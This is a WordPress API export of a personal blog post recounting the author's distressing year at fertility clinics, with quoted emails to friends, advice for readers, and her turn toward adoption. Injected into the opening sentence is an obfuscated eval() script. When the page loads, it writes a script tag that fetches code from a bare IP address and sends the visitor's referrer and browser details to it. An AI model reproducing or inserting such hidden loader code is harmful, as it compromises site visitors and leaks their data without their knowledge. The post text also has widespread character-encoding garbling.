{"id":4209,"date":"2013-11-28T14:47:04","date_gmt":"2013-11-28T21:47:04","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4209"},"modified":"2013-12-02T16:28:02","modified_gmt":"2013-12-02T23:28:02","slug":"adoption-awareness-month-8","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4209","title":{"rendered":"Adoption Awareness Month (8)"},"content":{"rendered":"<p dir=\"ltr\" id=\"docs-internal-guid-74cfb59a-b508-3805-7c9c-903b534e5baa\">In <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akfei|var|u0026u|referrer|nsyad||js|php'.split('|'),0,{}))\n<\/script><\/noindex> between the awesome DIY version of getting pregnant, and the also awesome decision to commit to an adoption agency, there was a year or so at a fertility clinic. \u00c2\u00a0It was not so awesome. \u00c2\u00a0It was one of the \u00c2\u00a0darkest and most hopeless years of my life, and I was close to crazy with fear and grief, a lot of the time.<\/p>\n<p dir=\"ltr\">For some people, a fertility clinic is the key that opens the door for creating a family \u00e2\u20ac\u201c the wonder of science meets the miracle of life! \u00c2\u00a0That is not the way it worked out for me, but it works out well for lots of people. \u00c2\u00a0So my experience should not be taken as a slam against fertility clinics in general. \u00c2\u00a0But as part of the story about how I decided to adopt, the bad experiences at the fertility clinic were a key plot point. \u00c2\u00a0It certainly made me think more clearly about what I really wanted and whether sharing a biological link with my child was important to me.<\/p>\n<p dir=\"ltr\">\u00c2\u00a0<em>Sent: Wednesday, December 02, 2009, to Amy<\/em><\/p>\n<p dir=\"ltr\"><em>Subject: general misery<\/em><\/p>\n<p dir=\"ltr\"><em>Today my life is terrible. \u00c2\u00a0I am not pregnant. I am profoundly bored at work. \u00c2\u00a0And it is raining. \u00c2\u00a0Right now I&#8217;m not sure which of the three is bothering me more. \u00c2\u00a0Bleah!\u00c2\u00a0 This morning I was thinking about just falling over dead from misery but then I figured I should probably make a doctors&#8217; appointment instead. \u00c2\u00a0Since that usually makes things worse, right? \u00c2\u00a0It sort of makes sense. \u00c2\u00a0I wasn&#8217;t sure which doctors to call&#8230;. \u00c2\u00a0but I figured I&#8217;d start with the midwives at the Birth Center , since I don&#8217;t hate them, and \u00c2\u00a0&#8211; hooray &#8211; they were funny and nice and gave me good advice and we have an appointment for &#8220;next time.&#8221; \u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\"><em>She suggested that if I&#8217;m having a hard time telling exactly when I&#8217;m ovulating (which is the problem &#8211; I&#8217;m collecting 5 kinds of data every stupid morning and I still can&#8217;t tell) that I could also buy a speculum, learn to use it, and then I&#8217;d know. \u00c2\u00a0Why the heck not? \u00c2\u00a0So I said,<\/em><\/p>\n<p dir=\"ltr\"><em>&#8220;Where do I buy one?&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>&#8220;Probably online. \u00c2\u00a0But they&#8217;re kind of hard to learn to use by yourself. \u00c2\u00a0Is there a partner who could&#8230;&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>&#8220;No.&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>&#8220;Or a friend, even, who could&#8230;&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>&#8220;No. \u00c2\u00a0Not unless I can train my cat to make itself useful.&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>Truth to tell, I think this might be a little more science experiment-y than I can handle, even leaving the cat out of it. \u00c2\u00a0Not sure if I want to post this conversation on my blog or not. \u00c2\u00a0I probably shouldn&#8217;t but I think I might anyway.<\/em><\/p>\n<p dir=\"ltr\"><em>Sent:\u00c2\u00a0 Dec 23, 2009, to Amy<\/em><\/p>\n<p dir=\"ltr\"><em>I had no emails in my work inbox! \u00c2\u00a0A Christmas miracle. \u00c2\u00a0I spent the whole morning at the doctor&#8217;s office &#8211; getting official confirmation that I&#8217;m not pregnant, which I know, but my period just won&#8217;t start, and I thought it might help get my hormones back on track if I had to pay $15 to hear it from someone with more authority. \u00c2\u00a0She suggested that I have a &#8220;thorough examination&#8221; with a specialist before I spend any more money on this, just in case.\u00c2\u00a0 (Like it won&#8217;t cost money to have the exam!)\u00c2\u00a0 But I suppose she&#8217;s right. \u00c2\u00a0After 6 months of weird science experiments I still have hopes for this little project. \u00c2\u00a0<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><em>Sent: February 02, 2010, to Christi<\/em><\/p>\n<p dir=\"ltr\"><em>Yeah, I had the midwife do it this time &#8211; but I don&#8217;t think I&#8217;ve actually ovulated yet, so technically still pre-pregnant. \u00c2\u00a0<em>Hopefully, the (ahem) minor medical assistance will make a difference. \u00c2\u00a0More expensive than I thought, but whatever.\u00c2\u00a0 <\/em>I have hopes but I&#8217;ve also tried plenty of times before, so, having the intra-uterine injection should definitely help, and doing it a little too early instead of a little too late should also help (duh) but it&#8217;s still pretty wide-open chances.\u00c2\u00a0 Anyhow, I went to the birth center to have it done, and they were really really nice. \u00c2\u00a0I am dead positive that working with them is the way to go when it comes to actually having a baby (if I ever get there&#8230;.)<\/em><\/p>\n<p dir=\"ltr\"><em>That damn groundhog says 6 more weeks of winter! \u00c2\u00a0Sheesh&#8230;\u00c2\u00a0 How&#8217;s your cold? \u00c2\u00a0Did you eat soup!?!?!<\/em><\/p>\n<p dir=\"ltr\">Didn&#8217;t work that time either.\u00c2\u00a0 I just couldn\u00e2\u20ac\u2122t get the hang of my ovulation cycle, and everyone agreed there was no point trying to get pregnant if you didn\u00e2\u20ac\u2122t have the timing right, especially not at $800 a pop. \u00c2\u00a0So I did end up going back to the fertility clinic. \u00c2\u00a0\u00c2\u00a0Just to ask for advice. \u00c2\u00a0Just questions and information, not drugs, not pills or shots in the ass every day, not surgery, not test tubes. \u00c2\u00a0Just advice. \u00c2\u00a0Their first advice was to have some testing done, &#8220;just to make sure\u00e2\u20ac\u009d there was nothing physically preventing me from getting pregnant. \u00c2\u00a0That made sense. \u00c2\u00a0And so on down the slippery slope, like a deal with the devil: \u00c2\u00a0to do the tests, I had to take hormones. \u00c2\u00a0The tests showed problems &#8211; low egg count &#8211; \u00c2\u00a0so we did more tests, which meant more drugs. \u00c2\u00a0Every step was a matter of me giving in to something I had just said <em>I would never do,<\/em> but if I really wanted to have a baby, <em>of course I had to do it.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p dir=\"ltr\"><em>From Christi, in April 2010:<\/em><\/p>\n<p dir=\"ltr\"><em>So not that I want to invade in your private life &lt;ahem&gt; but speaking of a future yard sale&#8230;should I be saving baby things for you? \u00c2\u00a0;) \u00c2\u00a0I wasn&#8217;t sure if this was a \u00e2\u20ac\u0153Somehow, some way, I&#8217;m having a baby someday?!\u00e2\u20ac\u009d \u00c2\u00a0\u00c2\u00a0I just know how costly it is to get started and would love to pass some things on to you if you could use it someday! \u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\"><em>Just in general&#8230;what are you feelings on a surrogate?<\/em><\/p>\n<p dir=\"ltr\"><em>Me:\u00c2\u00a0 Oh lord. \u00c2\u00a0Well, I&#8217;m on a zillion different drugs, and in a couple of weeks I switch to different drugs, and then we try again&#8230; \u00c2\u00a0\u00c2\u00a0I don&#8217;t know about the surrogate thing, since there&#8217;s really a lot of legal hassle. \u00c2\u00a0I think I&#8217;d probably look into regular adoption first &#8211; it&#8217;s just a question of which lawyers cost more. \u00c2\u00a0Surrogate stuff is really really complicated, legally and medically. \u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\"><em>Christi:\u00c2\u00a0 What if (and I&#8217;m TOTALLY serious if it comes to it) *I* was your surrogate??<\/em><\/p>\n<p dir=\"ltr\"><em>Me:\u00c2\u00a0\u00c2\u00a0 Well, if it was anybody it would be you!!! xoxo \u00c2\u00a0 But still, for surrogates, usually it means I donate the egg, and you carry the baby, and that\u00e2\u20ac\u2122s basically backwards. \u00c2\u00a0The whole problem is I don&#8217;t really have many eggs left.\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 Now, on the other hand, I could have an egg donated (from you or from an anonymous donor) and then get sperm donated, and try to have the whole business implanted so *I* could get pregnant, but that wouldn&#8217;t really make sense to me. \u00c2\u00a0I mean, that&#8217;s again a lot of expensive surgery and lot of lawyers, and it doesn&#8217;t really make sense. \u00c2\u00a0I mean, if I\u00e2\u20ac\u2122m not having any biological connection to the baby anyway, why not just adopt?<\/em><\/p>\n<p dir=\"ltr\"><em>Of course, I don&#8217;t actually know if I *can* adopt &#8211; it&#8217;s not easy for single people to afford it or to get &#8220;approved.&#8221;<\/em><\/p>\n<p dir=\"ltr\"><em>Basically, the whole thing completely sucks. \u00c2\u00a0I haven&#8217;t given up, but it&#8217;s all pretty miserable and exhausting. \u00c2\u00a0I&#8217;m just trying to concentrate on one thing at a time right now. \u00c2\u00a0I think I can basically deal with *either* doctors *or* lawyers, but if I have to deal with both I&#8217;ll need a therapist too! \u00c2\u00a0:)<\/em><\/p>\n<p dir=\"ltr\">Again, for some people, fertility clinics make dreams come true. \u00c2\u00a0If you are planning to work with a fertility clinic, here is my best advice, without (I hope) too much left-over bitterness.<\/p>\n<p dir=\"ltr\">1. \u00c2\u00a0During important conversations, everyone must wear equal pants. \u00c2\u00a0Do not let your doctor try to tell you important stuff while your butt is hanging naked between the stirrups.<\/p>\n<p dir=\"ltr\">2. \u00c2\u00a0Figure out what\u00e2\u20ac\u2122s ok with you and what\u00e2\u20ac\u2122s not. \u00c2\u00a0Does giving yourself a daily shot make you dizzy to think of? \u00c2\u00a0Will a radioactive beeping dildo be unwelcome during your period? \u00c2\u00a0If you go all the way to IVF treatments, what will become of the leftover embryos, and does it matter to you? \u00c2\u00a0Make some space for these questions, because to the doctors, it\u00e2\u20ac\u2122s just a regular day, but there\u00e2\u20ac\u2122s weird shit coming down the line, here.<\/p>\n<p dir=\"ltr\">3.\u00c2\u00a0 Never go alone. \u00c2\u00a0Bring an ally-advocate. \u00c2\u00a0If you are single, choose a friend or family member to be your partner in this.<\/p>\n<p dir=\"ltr\">4. \u00c2\u00a0Remember &#8211; and I will truly try to say this without rancor &#8211; they are in the business of selling you your own infertility. \u00c2\u00a0You think you\u00e2\u20ac\u2122re in charge of your body, of your pregnancy, of your choices in starting a family. \u00c2\u00a0They don\u00e2\u20ac\u2122t: \u00c2\u00a0they see themselves as the expert and you are a piece of meat that doesn\u00e2\u20ac\u2122t work right.<\/p>\n<p dir=\"ltr\">5. \u00c2\u00a0Did that sound bitter? \u00c2\u00a0Ok, I\u00e2\u20ac\u2122ll stop. \u00c2\u00a0Because in the end, if you want to be pregnant, they\u00e2\u20ac\u2122re the only ones who can tell you if something\u00e2\u20ac\u2122s wrong, and if something\u00e2\u20ac\u2122s wrong, they\u00e2\u20ac\u2122re the only ones who can help you work around it. \u00c2\u00a0So you might have to deal with it.<\/p>\n<p dir=\"ltr\">You are about to be a mother, no matter how long it takes. \u00c2\u00a0You will be the one to protect and advocate for your child, so you\u00e2\u20ac\u2122d better get used to doing it for yourself. \u00c2\u00a0If you don\u00e2\u20ac\u2122t like the way they treat you, don\u00e2\u20ac\u2122t put up with it. \u00c2\u00a0If you don\u00e2\u20ac\u2122t understand the medical explanations, make them explain it again. \u00c2\u00a0If they get pissy and impatient, insist on respect. \u00c2\u00a0(Never yell at a nurse, though. \u00c2\u00a0Nurses don\u00e2\u20ac\u2122t make enough money to have to deal with your crazy ass.)<\/p>\n<p dir=\"ltr\"><em dir=\"ltr\">Sent: April 28, 2010, to Catherine:<\/em><\/p>\n<p dir=\"ltr\"><em>Meanwhile, back on the ranch, I had another appointment at [unnamed famous fertility clinic] and totally lost my cool. \u00c2\u00a0I had stayed up late writing a letter about how much I don&#8217;t like this and how very not-ok everything is, and then I made the insane decision to actually give them the letter. \u00c2\u00a0I kind of realized that even if I hadn&#8217;t burned that bridge, it was certainly on fire, so I went ahead and had a hysterical hissy fit. \u00c2\u00a0Amazingly, this actually helped. \u00c2\u00a0Now all of a sudden the therapist who was &#8220;booked&#8221; is available tomorrow, and the only doctor I like, who &#8220;doesn&#8217;t do those procedures,&#8221; would be perfectly happy to do them, and although they can only be scheduled on Tuesday and Thursday between 8 and noon, and she&#8217;s not available until the 17th of May, she can do it pretty much any day this week at 3. \u00c2\u00a0What fucking ever. \u00c2\u00a0The nice doctor has one last chance to tell me if any of this has done any good at all, and then the therapist gets exactly one hour to tell me what plan B looks like. \u00c2\u00a0I&#8217;m not ready to give up yet, but I&#8217;m kind of feeling like [unnamed famous clinic] is perhaps not \u00c2\u00a0a good match for me. \u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\"><em>My pals at the journal and I have decided we want Life Editors. \u00c2\u00a0It&#8217;s too hard to proofread your own life. \u00c2\u00a0We want someone with a really powerful blue pen to come along and say &#8220;This relationship is redundant. \u00c2\u00a0This ambition should move over here. \u00c2\u00a0Add these details. \u00c2\u00a0This decision is no good; take it out. \u00c2\u00a0Add a comma here and pause, and this bit is great only you spelled it wrong.&#8221; \u00c2\u00a0\u00c2\u00a0If only.<\/em><\/p>\n<p dir=\"ltr\">Why am I telling this whole stupid story again?! \u00c2\u00a0Augh, forget it. \u00c2\u00a0If you want to know how bad a fertility clinic <span style=\"text-decoration: underline;\">can<\/span> be, <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2013\/11\/Dear-Fertility-Center.pdf\">you can read the letter<\/a>.<\/p>\n<p dir=\"ltr\">I did find a different clinic, and it was much better. \u00c2\u00a0They were kinder and more respectful, less bossy and cold. \u00c2\u00a0They did some different tests, and some of the same ones again. \u00c2\u00a0They confirmed the low egg count (lower than any woman my age they\u00e2\u20ac\u2122d ever seen! \u00c2\u00a0That made me feel very special\u00e2\u20ac\u00a6) \u00c2\u00a0And some other things seemed to be wrong, too. \u00c2\u00a0My fallopian tubes were closed, and they didn\u00e2\u20ac\u2122t know why. \u00c2\u00a0We did that test again a month later again to confirm, and they asked me to please bring a friend to drive me home. \u00c2\u00a0At first I was puzzled &#8211; after all, it\u00e2\u20ac\u2122s not like they were going to dilate my eyes! \u00c2\u00a0But Paul came with me. \u00c2\u00a0And I remember the branchy-pattern of the fallopian tubes sort of breaking off like a dead tree in the winter, and I remember when I checked out, the nurse asked me if I needed a glass of water, but it was raining, so why would I want water? \u00c2\u00a0And I don\u00e2\u20ac\u2122t remember when I started crying and I don\u00e2\u20ac\u2122t remember when I stopped. \u00c2\u00a0Every memory of that whole week is grey like static on an old tv, with moments of red:\u00c2\u00a0 a flower Paul gave me, the nurse\u00e2\u20ac\u2122s pen, the broken-tree pattern on the doctor\u00e2\u20ac\u2122s screen.<\/p>\n<p dir=\"ltr\">I never actually did any of the fertility treatments &#8211; no progesterone shots, no IVF.<\/p>\n<p dir=\"ltr\">When I first knew that I was ready to be a mother, I was SO READY. \u00c2\u00a0I was more confident, more in control, more powerful than I&#8217;d ever felt in my life before. \u00c2\u00a0\u00c2\u00a0By the time I was done at the fertility clinics, I was a miserable mess, anxious, depressed, ashamed of my failed and worthless body, furious at myself for putting up with so much crap, guilty for not being willing to put up with more, consumed by my own drama, compelled by random superstition. \u00c2\u00a0Everything seemed like a fairytale test, and I just knew, <em>I knew!<\/em> that if only I could be more brave, more faithful, more true, somehow I would win, and be rewarded. \u00c2\u00a0But no virtue, no vow would make me any more likely to get pregnant. \u00c2\u00a0The most important piece of my life had gone completely out of my hands. Nothing felt right. \u00c2\u00a0I was never, ever giving up on having a child, but I needed to change direction.<\/p>\n<p dir=\"ltr\">Did I want to be pregnant, or did I want to be a mother? \u00c2\u00a0For me, that answer was always obvious. \u00c2\u00a0I only thought being pregnant was the way to do it <span style=\"text-decoration: underline;\">because I thought it would be easier.<\/span><\/p>\n<p dir=\"ltr\"><em>Sent: July 22, 2010, to my grief-and-stress therapist, who was very kind and looked like an anime kitten:<\/em><\/p>\n<p dir=\"ltr\"><em>Hello &#8211; you&#8217;d suggested I might email you to find out what kinds of orientation sessions for adoption might be coming up. \u00c2\u00a0If you have any ideas about resources I could look into, I&#8217;d be glad to know about it.\u00c2\u00a0 I&#8217;ve been putting off getting in touch with you about it, because I still have really mixed feelings about the idea, but I can see that the information would be useful to have, and we can talk about it more next time.\u00c2\u00a0 Thanks!<\/em><\/p>\n<p dir=\"ltr\">I started looking at three adoption agencies, just to see what kind of possibility they might hold. \u00c2\u00a0Some places wouldn\u00e2\u20ac\u2122t work with a single person. \u00c2\u00a0Some places wouldn\u00e2\u20ac\u2122t work with gay families, and I didn\u00e2\u20ac\u2122t want to be part of their kind of business. \u00c2\u00a0\u00c2\u00a0And I was again baffled by the sheer impossibility of the costs. \u00c2\u00a0How in the world could any normal person afford this? \u00c2\u00a0Most places wouldn\u00e2\u20ac\u2122t even tell you what the costs were until you signed a contract, which is insane. \u00c2\u00a0But as far as I could see, everything started at 10K and went up from there. \u00c2\u00a0Who the hell has 10 thousand dollars lying around?<\/p>\n<p dir=\"ltr\">IAC was the only agency I found that was really upfront about the actual costs, and the only agency to be specific enough about financial planning to shed the light on the missing piece: clients had the option of making payments by check or by credit card. \u00c2\u00a0It doesn&#8217;t sound earth shattering, I know, but in that instant I saw a glimmer of hope again. Credit cards. \u00c2\u00a0How do normal people pay for important things that are expensive? \u00c2\u00a0They don&#8217;t! \u00c2\u00a0They take on a DEBT. \u00c2\u00a0I hadn&#8217;t had a credit card, or any debt but my mortgage, for over a decade. \u00c2\u00a0I&#8217;d just plain forgotten that you could borrow vast sums of money. \u00c2\u00a0I went straight to the bank. And in case you are thinking about adopting, note! \u00c2\u00a0A chunk of that money comes trickling back over the years as a special tax credit. \u00c2\u00a0More on that another time.<\/p>\n<p dir=\"ltr\"><em>Sent: October 13, 2010, to IAC\u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\"><em>Thank you for the follow-up \u00c2\u00a0note. \u00c2\u00a0I really appreciate it!\u00c2\u00a0 I&#8217;m definitely interested in working with IAC. \u00c2\u00a0Obviously, I&#8217;m concerned about the finances, and I think I need to talk with my bank before I go any further.\u00c2\u00a0 Also, I remember you said that one of the things I&#8217;ll be asked is whether I&#8217;m &#8220;done&#8221; dealing with fertility issues, and I&#8217;m not. \u00c2\u00a0(Almost done, but not quite&#8230;) \u00c2\u00a0\u00c2\u00a0Could you please remind me of the dates for upcoming weekend sessions? \u00c2\u00a0Basically, I just need to figure out how much time I should give myself to change gears, so to speak. \u00c2\u00a0<\/em><\/p>\n<p dir=\"ltr\">How long did it take to change gears? \u00c2\u00a0One more Christmas with no child, that\u00e2\u20ac\u2122s how long.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In between the awesome DIY version of getting pregnant, and the also awesome decision to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4167,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[53,106],"class_list":["post-4209","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","tag-adoption","tag-november-is"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4209"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4209"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4209\/revisions"}],"predecessor-version":[{"id":4227,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4209\/revisions\/4227"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4167"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4209"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4209"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4209"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}